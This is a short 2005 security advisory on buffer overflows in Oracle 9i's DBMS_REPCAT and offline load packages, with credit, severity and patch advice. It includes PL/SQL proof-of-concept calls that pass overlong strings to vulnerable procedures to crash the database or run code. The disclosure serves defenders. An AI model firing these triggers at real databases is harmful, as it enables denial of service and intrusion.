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Buffer Overflow in DBMS REPCAT in Oracle 9i

Name Buffer Overflow Oracle DBMS_REPCAT in Oracle 9i (up to 9.2.0.4)
Systems Affected Oracle 9i
Severity Medium Risk
Category Buffer Overflow
Vendor URL http://www.oracle.com/
Credit Esteban Martinez Fayo (<argeniss>dot<com>)
Exploit http://www.appsecinc.com
Date 10 May 2005 (V 1.00)

Details

Buffer Overflow in DBMS_REPCAT. This package has EXECUTE permission granted to SYSDBA or EXECUTE_CATALOG_ROLE. Members of these groups can exploit this vulnerability and crash the database or execute arbitrary code.



Example
BEGIN
DBMS_REPCAT.ADD_GROUPED_COLUMN ('longstring', 'longstring', 'cc','dd');
END;

BEGIN
DBMS_REPCAT.ADD_DELETE_RESOLUTION ('longstring', 'longstring', 0, '', '');
END;

BEGIN
DBMS_REPCAT.CANCEL_STATISTICS ('longstring', 'longstring');
END;

BEGIN
DBMS_REPCAT.DROP_MASTER_REPGROUP ('longstring');
END;

BEGIN
DBMS_REPCAT.ALTER_MVIEW_PROPAGATION ('longstring', '');
END;

BEGIN
DBMS_OFFLINE_OG.BEGIN_LOAD ('longstring', 'x');
END;

BEGIN
DBMS_OFFLINE_SNAPSHOT.END_LOAD ('longstring', 'x',d);
END;


Patch Information
Apply the latest Oracle Security patches (e.g. CPU October 2004 or at least alert 68)



2005 by Red-Database-Security GmbH - last update 02-nov-2005

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